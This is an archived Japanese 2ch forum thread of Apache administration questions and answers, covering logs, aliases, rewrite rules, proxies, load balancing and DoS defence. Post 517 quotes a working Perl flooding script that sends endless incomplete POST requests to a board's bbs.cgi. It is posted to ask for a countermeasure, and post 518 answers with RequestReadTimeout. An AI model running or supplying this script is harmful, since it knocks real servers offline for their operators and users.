[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 2chのread.cgiへ]
Update time : 05/25 02:51 / Filesize : 204 KB / Number-of Response : 829
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

Apache関連 Part11



1 名前:名無しさん@お腹いっぱい。 [2008/09/30(火) 08:11:00 ]
HTTP ServerのApacheに関する話題を扱うスレッドです。
httpd.apache.org/

●インストール済みApacheの詳細情報の調べ方
httpd -h 簡易ヘルプ
httpd -v バージョン情報
httpd -V コンパイル条件など詳細な情報
httpd -l 静的リンクされたモジュール一覧
httpd -M 現在の設定ファイルで読み込まれるモジュール(2.2以降)

●公式マニュアル
httpd.apache.org/docs/1.3/ Apache 1.3
httpd.apache.org/docs/2.0/ Apache 2.0
httpd.apache.org/docs/2.2/ Apache 2.2

●ディレクティブ一覧
httpd.apache.org/docs/1.3/mod/directives.html
httpd.apache.org/docs/2.0/mod/quickreference.html
httpd.apache.org/docs/2.2/mod/quickreference.html

前スレッド
Apache関連 Part10
pc11.2ch.net/test/read.cgi/unix/1179627714/

427 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/15(水) 14:06:33 ]
と思ったけど、NULL文字列までコピーしてたので違ったorz

428 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/17(金) 17:46:15 ]
> NULL文字
これだけで、超初心者とわかるから報告しなくて良いよ。

> NULL文字列
更笑

429 名前:名無しさん@お腹いっぱい。 [2010/12/19(日) 13:48:05 ]
loadbalancerってapacheのmod_proxy_balancerとipvsadmってどっちがいいの?

430 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/19(日) 14:51:28 ]
>>429
用途が違う

431 名前:名無しさん@お腹いっぱい。 [2010/12/19(日) 18:26:06 ]
>>430
kwsk

432 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/19(日) 18:31:09 ]
>>431
少しはググれよ

433 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/20(月) 09:27:50 ]
知らないなら黙ってろよ

434 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/21(火) 02:35:23 ]
>>431
レイヤー

435 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/21(火) 04:07:45 ]
適等なことを書き散らかせばいい



436 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/22(水) 05:10:02 ]
mod_proxyとLVSを比較して「どっちがいいの?」というような質問をするということは
冗長化や負荷分散に関してほとんど知識がない人ということだから、推奨するとすればmod_proxyのほうでしょう
もっといえばmod_proxyを使いこなすのは難しいでしょうから、おすすめとしてはpoundです

437 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/22(水) 10:18:51 ]
いや、そういう人へのオススメは「アウトソースしろ」でしょ。


438 名前:名無しさん@お腹いっぱい。 mailto:sage [2010/12/22(水) 10:25:20 ]
コンサルタントを雇いましょう。

439 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/01/20(木) 23:46:47 ]
mod_pythonをいれてpythonを動かしいます。
httpd.confで
PythonHandler test
にして、test.pyを動かしているのですが、このようにファイル名をいちいち指定しないで動かすにはどうしたらいいでしょうか?

440 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/01/21(金) 02:50:34 ]
mod_rewrite

441 名前:名無しさん@お腹いっぱい。 [2011/01/23(日) 18:47:18 ]
質問です。
Apacheのaccess_logの見方についてですが、以下の304はなんと表現するのが正しいのでしょうか?

xxx.xxx.xxx.xxx - test [23/Jan/2011:18:16:15 +0900] "GET /test.css HTTP/1.1" 304 -

順番に
アクセスしてきた相手のIPアドレス
認証があった場合に使用されたユーザID
アクセスされたサーバ時刻
GETはリクエストヘッダー、GET方式での呼び出し
/test.cssはファイル名、
HTTP/1.1はプロトコルバージョン
304は・・・??

よろしくお願いします。

442 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/01/23(日) 18:51:47 ]
HTTPステータスコード

443 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/01/23(日) 18:54:14 ]
もしかして304ってキャッシュ呼び出しですかね?
例えば304のかわりに200で後ろが-でなく数値があれば、リクエスト通って、実際に送出したデータ量(バイト)

という認識でOKですよね。自己解決しました

444 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/01/23(日) 18:57:13 ]
なぜ規格書(RFC)にあたらないのだ? 死んだ曾々爺さんの遺言か?

445 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/01/24(月) 11:51:23 ]
遺言のことよくご存知ですね。
そうなんですよ。



446 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/02/11(金) 12:16:18 ]
grep MSIE access_log | sed -e 's/.*\(MSIE [0-9\.]*\).*/\1/' | sort | uniq -c | sort -rn

447 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/03/17(木) 18:20:00.70 ]
自宅サーバで動的DNSをしていると
再起動したあとにIPアドレスが変わり名前と違うようになるみたいで
apacheが立ち上がったときに https だけがこけています。(httpはOK)

その後落ち着いてから apache を再起動すると https もうまく起動します。
これを最初から https もこけずに起動できるようにするにはどうすればよいでしょうか。

448 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/03/17(木) 18:35:59.29 ]
ちょっと sleep してから上げる、とか。

449 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/03/17(木) 18:37:38.43 ]
pppのリンクアップでrestartとかどーよ?

450 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/03/17(木) 18:52:24.06 ]
ServerName書くだけで済むんじゃね。

451 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/03/17(木) 18:53:23.39 ]
IPv4ならNATで内部用固定アドレスに向かわせて
Apacheはその固定アドレス:443をListenさせるとかw

IPv6はどう対処させようか。
サーバなのにtempaddrで運用するってのもアレだけどw

452 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/03/17(木) 18:54:54.93 ]
笑うほどのことか?

453 名前:447 mailto:sage [2011/03/17(木) 19:07:02.36 ]
ServerName をかくといけたようです。様々なアイデアありがとうございました!

454 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/03/24(木) 00:54:18.21 ]

【2ch激論】ダム板が統合・廃止へ!人気スレ「また騙されてダム板に…」がなくなる?
kamome.2ch.net/test/read.cgi/river/1299720645/


455 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/04/23(土) 20:14:19.39 ]
apache 1.3系の頃はBASIC認証の失敗時にも
ログにそのユーザ名が記録されていたんだけど
2.2系に変更したら失敗時は"-"と記録されるようになった。
2.2でも1.3のようにログすることってできないかな?



456 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/04/25(月) 01:52:04.73 ]
>>455
マジで?そうだとすると、マニュアルに書いてあることが間違ってるね

httpd.apache.org/docs/2.2/mod/mod_log_config.html
>リモートユーザ (認証によるもの。ステータス (%s) が 401 のときは意味がないものである可能性がある)

457 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/04/25(月) 21:21:40.24 ]
2.2.17 で試してみたけど、そんなことない。
ユーザにプロンプトが出る前に一回 401 が返るけどそのログと見間違えてる?
mod_log_config.c の log_remote_user を見ても、- になるのは NULL のときだよ。

458 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/04/25(月) 22:55:22.44 ]
>>456
うん、マニュアルと一致しなくておかしいなぁ、と思ってた。

>>457
う〜ん、なんでだろう。見間違いはないんだけよね。
でもうち以外では挙動が違うってのはうれしい情報。
もうちょっと調べてみる。


459 名前:名無しさん@お腹いっぱい。 [2011/05/10(火) 12:06:13.87 ]
質問させてください。
apacheのプロセス番号からアクセスしているURLを調べることってできますでしょうか?
ご教示いただけると幸いです。

460 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/10(火) 12:28:09.56 ]
mod_status


461 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/10(火) 23:43:44.84 ]
strace

462 名前: 忍法帖【Lv=4,xxxP】 [2011/05/17(火) 13:18:40.00 ]
ErrorDocument 404 /usr/home/foo/bar/404.html
のように、ローカルの絶対パスで指定ってできないんでしょうか?

環境httpdバージョン2.2

463 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/17(火) 13:23:28.77 ]
できるよ。

464 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/17(火) 13:24:02.24 ]
あ、だめか。
httpd.apache.org/docs/2.2/ja/mod/core.html#errordocument

465 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/17(火) 23:46:14.18 ]
>>462
先に
Alias /404.html /usr/home/foo/bar/404.html
すればよくね?




466 名前: 忍法帖【Lv=4,xxxP】 [2011/05/18(水) 05:00:26.65 ]
>>465
そうやるしかなさそうですね。ありがとございます。

467 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/22(日) 23:13:08.31 ]
>>459
モジュール内部でgetpidとrequest_recみてやればいい。

468 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/25(水) 15:58:06.65 ]
質問です。
マルチポストすみません。

以下の設定が前提です。

■ ディレクトリ構成(一部抜粋)
/var/www/hoge
/var/www/hoge/hage
/var/www/hoge/hage/hige

■ httpd.conf(一部抜粋)
DocumentRoot /var/www/html

Alias /hage /var/www/hoge/hage
<Directory "/var/www/hoge/hage">
SSLRequireSSL
ErrorDocument 403 "SSL Require -> https://"
AllowOverride All
Order allow,deny
Allow from all
</Directory>

【やりたいこと】
ディレクトリ /hage「だけ」に SSL をかけたいです。

【こまっていること】
上記設定ですと、/hage/hige にも SSL がかかってしまいます。
/hage にだけ SSL をかけることはできますでしょうか?
(そもそもの設定が間違っている可能性大ですが)
よろしくお願いいたします。

469 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/25(水) 16:04:36.04 ]
マルチポストはしないでください。

470 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/27(金) 21:19:19.24 ]
VirtualHostを複数立てて、どれのServerNameにもマッチしないときには
一番上に書いたものにマッチするそうですが、これを拒否する方法はありますか?

471 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/27(金) 21:34:58.88 ]
一番上で拒否すればええやん


472 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/31(火) 11:34:45.66 ]
/home/test/public_html/ ディレクトリと
/home/test/admin/test.cgi というファイルがあってこのtest.cgiを
実行させたいんですが、以下のようにすると client denied by server
configuration で動きません。

<VirtualHost 123.123.123.123:80>
DocumentRoot /home/test/public_html
ServerName www.test.com
ScriptAlias /ugoke/ "/home/test/admin/"
</VirtualHost>

/home/test/public_html/test.cgi に置くと問題なく動くんですが
ScriptAliasはDocumentRootの下を指定しないといけないんでしょうか?

Apache1.3系だと上のような設定で動いているんですが・・・
今は2.0.64です。

473 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/31(火) 11:42:53.97 ]
> ScriptAliasはDocumentRootの下を指定しないといけないんでしょうか?
そんなことはない。注意事項がマニュアルに書いてある。
マニュアルも読まない奴はサーバー管理しちゃいけないというトラップ。

474 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/05/31(火) 12:38:12.94 ]
ホントだ・・・ScriptAliasの箇所だけみてた。
ありがつ。

475 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/02(木) 20:11:56.10 ]
microformatsのrel-tagを使うためにはapahceで何か設定が必要ですか?
ググっても何も出てこないよ



476 名前: 忍法帖【Lv=3,xxxP】 [2011/06/03(金) 15:35:07.41 ]
age

477 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/03(金) 23:19:38.09 ]
HTMLでそう書けばいいだけの話なのでApacheは関係してこないと思うが。

478 名前:240 [2011/06/04(土) 13:40:48.27 ]

         ____
       /      \
     /  _ノ  ヽ、_  \
    /  o゚⌒   ⌒゚o  \   今日もまた、
    |     (__人__)    |  /usr/local/apache2/bin/apachctl start
    \     ` ⌒´     /   を打ち間違える仕事が始まったお…

479 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/04(土) 21:06:20.75 ]
>>477
HTMLで記述してもうまく動かないからサーバーの方に問題があるのかと思いまして・・・

480 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/05(日) 00:33:34.28 ]
>>479のおつむに問題があるのは確かだな

481 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/06(月) 20:24:12.23 ]
debianでapache2をインストール後間違ってapache2を削除してしまい、再度インストールしようとすると
「Sub-process /usr/bin/dpkg returned an error code」
と出てしまいます。
どうしたら再インストール出来るか教えてください。

482 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/06(月) 20:28:52.63 ]
でびあんから再インストールすれば良いよ。

483 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/06(月) 20:41:33.54 ]
>>482
1から設定しなおすのが大変なので他にないでしょうか?

484 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/06(月) 21:12:18.11 ]
あるだろうけど、適切な場所で質問しなけりゃ解は得られないだろうね。

485 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/06(月) 23:00:39.10 ]
たぶん479=481



486 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/08(水) 21:01:28.15 ]
apacheとmod_wsgiでアプリケーションを動かしています。
ログイン情報などをsessionで保存しているのですが、これを一度クリアすることってできますか?

487 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/10(金) 06:07:56.31 ]
>>481
その an error code がなんなのかわからないと答えようがないと思うが。

488 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/10(金) 11:27:48.64 ]
Debian 限定の話は Debian スレへ。

489 名前:名無しさん@お腹いっぱい。 [2011/06/16(木) 04:07:49.48 ]
スレ違いかもしれませんがmod_Jkのフェイルオーバについて知っている方がいたら教えてください。
Webサーバ2台、APサーバ2台で構成しており、workers.propertiesは
以下のものがWebサーバ2台ともに入っています。

===
worker.list=wlb

worker.w1.type=ajp13
worker.w1.host=192.168.0.201
worker.w1.port=8009
worker.w1.redirect=w2

worker.w2.type=ajp13
worker.w2.host=192.168.0.202
worker.w2.port=8009
worker.w2.activation=disable

worker.wlb.type=lb
worker.wlb.balance_workers=w1,w2
worker.wlb.sticky_session=True
===

w1がダウンし続けた場合、mod_jkは定期的にw1にリクエストを送り、失敗したのちまたw2にフェイルオーバするという仕様になっているのでしょうか?
recovery_optionの設定も見たのですが、デフォルトが0ということでこの場合にどのような動作になるのかがわかりません。


環境は以下の通りです。
Fedora12
Apache2.2
mod_jk1.2.30

よろしくお願いいたします。

490 名前:名無しさん@お腹いっぱい。 [2011/06/22(水) 22:02:32.13 ]
mod_rpaf がダウンロードできなくなってるんだけど、
stderr.net/apache/rpaf/download/mod_rpaf-0.6.tar.gz
誰かミラー知ってる人いませんか?


491 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/24(金) 18:13:00.70 ]
見つからないね。
違ってると思うけど、mod_extract_forwarded ではダメ?・・・だよね

492 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/24(金) 18:50:42.93 ]
みっけ
ftp://ftp.freebsd.org/pub/FreeBSD/ports/distfiles/mod_rpaf-0.6.tar.gz

493 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/25(土) 10:20:58.37 ]
おー 頭いいな

494 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/06/25(土) 10:49:30.95 ]
検索してたら ports の Makefile が引っかかったから、
どっかにあると思ってたけど 492 さんには本当に感謝。
自分も昨日から急遽 source が必要になったから焦ってた。


495 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/04(月) 18:37:48.03 ]
mod_rewriteの設定数に上限はありますでしょうか
RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-d
RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-f
RewriteRule ^/item/(.*)\.html /item/detail.php?id=$1 [P,QSA,NE,L]

このような設定がサイトごとに3つあり、10サイト稼働しています
サイトを増やしたところ$1が空でした
ログを見ると条件にマッチしてましたが、$1が空になってしまうのです
他のサイトを一時的に消したところ、なぜか期待通りの動きになりました
apacheのバージョンは2.2.9です
何かお分かりになりますでしょうか



496 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/04(月) 19:33:55.08 ]
mod_rewriteってのはそれ以外の手段がまったくない場合にかぎって
しかたなく使うのが許されるウンコであって、
それを通常運用としてしまうのはウンコ以下。
ウンコの限界を極めるウンコ仕事をするよりも、
ウンコを使わないで済むようにスクリプトの方を修正した方がいい。

具体的には、
AliasMatch ^/item/.*\.html /item/detail.php
として、呼ばれたURLから.*の部分を拾うようdetail.phpを書き換える。


497 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/09(土) 01:11:49.14 ]
Apache2.2を使って、ホワイトリスト型のフォワードプロキシ
(事前に指定したサイトしかアクセスできないように設定)
を作ろうとしているのですが、設定が上手くいかないです。

下記、例としてyahooおよびgoogleのみアクセスを許可して、
それ以外のサイトをアクセス拒否させる目的で設定しましたが、
一番上のアクセス拒否の設定が優先されてしまうため、
全てのサイトへのアクセスが拒否されてしまいます。

●現在の設定例(一部抜粋)
<Proxy *>
Order deny,allow
Deny from all
</Proxy>

<Proxy www.yahoo.co.jp/*>
Order allow,deny
Allow from all
</Proxy>

<Proxy www.google.co.jp/*>
Order allow,deny
Allow from all
</Proxy>

上記、あて先がyahooとgoogleのみアクセス許可して、
それ以外のサイトへのアクセスを拒否したいのですが、
Apache2.2でそれを行う方法はあるのでしょうか?
(configの記載順による優先順位の問題でしょうか?)

上記、わかる方がいれば、教えていただけると助かります。
よろしくお願いいたします。

498 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/23(土) 18:08:53.11 ]
ApacheのMPM改造したいんだけど。具体的には、バーチャルホストごとに帯域制御をしたい
参考になるサイトとかって無いかな。もしくは、やったことある人いる?

499 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 00:56:01.27 ]
ApacheってDos攻撃対策大丈夫なの?

500 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 10:34:15.19 ]
というと?

501 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 11:36:01.87 ]
Apache自身にやらせたいならmod-dosdetector

502 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 12:44:00.71 ]
ソースコード見る限り、mod_evasiveとかmod_dosdetectorとかだと弱いんだよ。
相手からのリクエストを読んでから、遮断するから。

相手が接続だけして、何もデータを送ってこないと接続数がふくれあがるはず。実験してないけど
しかも、遮断する前にスレッドなりプロセスなりを割り当てるから、リソースが無駄。

本来は、acceptした時点でIPアドレスがわかるわけだから、それを振り分ける前に遮断するべき

503 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 13:08:54.97 ]
それはファイヤーウォールの仕事では

504 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 13:29:08.34 ]
その手があったか。ありがとう

505 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 14:18:19.69 ]
httpd.apache.org/docs/trunk/misc/security_tips.html#dos



506 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 18:05:28.86 ]
なんか無知な学生がレポート書きの手伝いを求めてるようなふいんきだな

507 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/24(日) 20:34:50.64 ]
>>506
そんな感じですね。

ぼんやりしたやり取りがたまらないw

508 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/25(月) 00:12:09.07 ]
うちは帯域制御はmod_cband
DoS対策はmod_security
CentOS5.x/Apache2.2.xで安定して使ってるよ


509 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/25(月) 00:22:08.76 ]
たまに刺さってmod_cbandが発狂するので、一時間に一回再起動させて運用してるよ。。
なんか帯域カウンターが戻らなくて溜まってしまう感じ

510 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/25(月) 01:21:57.68 ]
>>509
バグ報告すれば?それかソースコード自分で見れば?
モジュール単体なら、そんなに量多くないから分かるはず

>>505
d.hatena.ne.jp/dayflower/20081029/1225266220
ここを参考mpmのソース見ると、ヘッダーを読み込んだあとにしかモジュールのフックをかけられない構造になってる。
だから、mpm改造しちゃえばできるんだけど。モジュール化の意味合いが薄まるから汚いかなって

511 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/25(月) 01:24:03.92 ]
>>505
不完全なのは知ってのことなのか。世界の誰か頑張れよ
俺がもっといいmpm作ろうかな。性能がよければ有名になれるかなwww

512 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/25(月) 02:28:49.74 ]
分離してうまく作れるんじゃないかとあれこれ試行錯誤するが
結局のところモジュール本体に改造を入れることって多いよね。。。

513 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/25(月) 03:15:04.58 ]
>>511
だったら作って有名になってみればいいじゃんw

514 名前:509 mailto:sage [2011/07/25(月) 10:37:52.60 ]
ソースは追いかけて何処の変数がインクリメントしっぱなしかは確認したけど
複数プロセスで共有してる奴で、どっかで突然死するプロセスが居ればさもありなんて感じ
発生頻度も週一くらいで、何台かで回してるサービスだし面倒


515 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/07/25(月) 11:56:14.21 ]
2.4 に mod_ratelimit ってのが入るので、先取りしてバージョン上げちゃえ。




516 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/04(木) 07:37:37.77 ]
449 忍法帖【Lv=40,xxxPT】 ◆8huU.uGZBA sage 2011/08/03(水) 15:02:01.85 ID:49.133.48.168 0
サーバへにリクエストが来た時、リクエストを受け取るまでhttpdは待っているわけだ
しかしcontentslength分だけ受け取りたいけど待てど暮らせど送ってこないから
httpd.confのtimeoutするまでそのhttpdプロセスがブロックされるんだな
そしてそれがたーくさんたまる、売り切れまで溜まる
売り切れたらそれ以降のhttpの要求は受け付けなくなる

攻撃がやんだらブロックされているhttpdは順次timeoutで開放され
だんだんいつもの状態に近づく

こうなんじゃないかな?

456 ◆IOT1IIO1ILUU-さる♪ sage 2011/08/03(水) 15:06:18.97 ID:219.106.108.87 0
>>449
大体はそんな感じです。
少し違うのは、Content-Lengthは関係ありません。
中途半端なHTTPリクエストであってもApacheが律儀にTCPのタイムアウトまでリソースを確保して待ってしまうのが原因なので、
それこそTCPで何か少しでもデータを送ってやれば、HTTPリクエストとして完全に破綻していてもApacheは落ちます。
なのでHTTPのヘッダに着目して対策するのは無理です。

517 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/04(木) 07:39:45.57 ]
こんな感じなんだけどどうやったら対策できる?
攻撃元のスクリプトは以下

433 名無しさん@お腹いっぱい。 sage 2011/08/03(水) 14:51:01.84 ID:81.94.203.180 0
スクリプト自体はマルチスレッドでBBS.CGIを叩くだけなんだよな
こんな感じで

my $ref = sub{
while(){
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
connect(SOCK, sockaddr_in("80", $ipaddr));
select(SOCK);
$|=1;
select(STDOUT);

print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
print SOCK "Accept: */*\r\n";
print SOCK "Referer: $sv" . "/news/\r\n";
print SOCK "Accept-Language: ja,en;q=0.5\r\n";
print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
print SOCK "Accept-Encoding: gzip, deflate\r\n";
print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
print SOCK "Host: $sv\r\n";
print SOCK "Content-Length: 1\r\n";
print SOCK "Connection: Keep-Alive\r\n";
print SOCK "\r\n";
close(SOCK);

threads->yield();
}
};

518 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/04(木) 10:17:16.26 ]
slowloris 対策なら RequestReadTimeout で。


519 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/04(木) 10:38:02.85 ]
>>518
ありがとう

520 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/07(日) 14:40:43.49 ]
ブラウザでリクエストヘッダーに
Keep-Aliveの時間を指定した場合、どういう時間を指し示すのでしょうか?
Wikipediaを見ていてふと疑問に思いました。

Keepalive time is the duration between two keepalive transmissions in idle condition. TCP keepalive period is required to be configurable and by default is set to no less than 2 hours.
Keepalive interval is the duration between two successive keepalive retransmissions, if acknowledgement to the previous keepalive transmission is not received.

en.wikipedia.org/wiki/Keepalive

521 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/07(日) 15:23:57.31 ]
TCP keepaliveの説明を引用してくるバカがおる

522 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/07(日) 17:14:40.13 ]
フイタw

523 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/09(火) 04:00:06.70 ]
wgetで直アクセスすると404 Not Foundを返して来て、
telnetでアクセス(HEAD /some/foo/hoge.jpg HTTP/1.0)しても404を返してくるサーバがあります。
それなのに、chromeでアクセスすると画像が表示されます。

これってどういう設定なのでしょうか?
telnetやwgetでchromeと同じ結果を得るためには、どうアクセスするべきなのでしょうか?

524 名前:509 mailto:sage [2011/08/09(火) 10:40:40.07 ]
UAとかホスト名指定とかじゃあ?

525 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/10(水) 03:24:02.30 ]
Referer の制限かなあ。
Chrome で見えるって言うのは、画像の URI を直接指定して?
こちらの紳士達が詳しいかも↓
hibari.2ch.net/test/read.cgi/unix/1305422004/l50



526 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/10(水) 22:09:42.74 ]
ホスト名やリファラによる制限はブラウザと関係ないし
ユーザエージェント制限の可能性があるけどその場合は404じゃんくて403だよね

527 名前:名無しさん@お腹いっぱい。 mailto:sage [2011/08/10(水) 23:46:51.84 ]
何を返してくるかは相手次第だろうに403と決めてかかるとかw






[ 続きを読む ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧]( ´∀`)<204KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef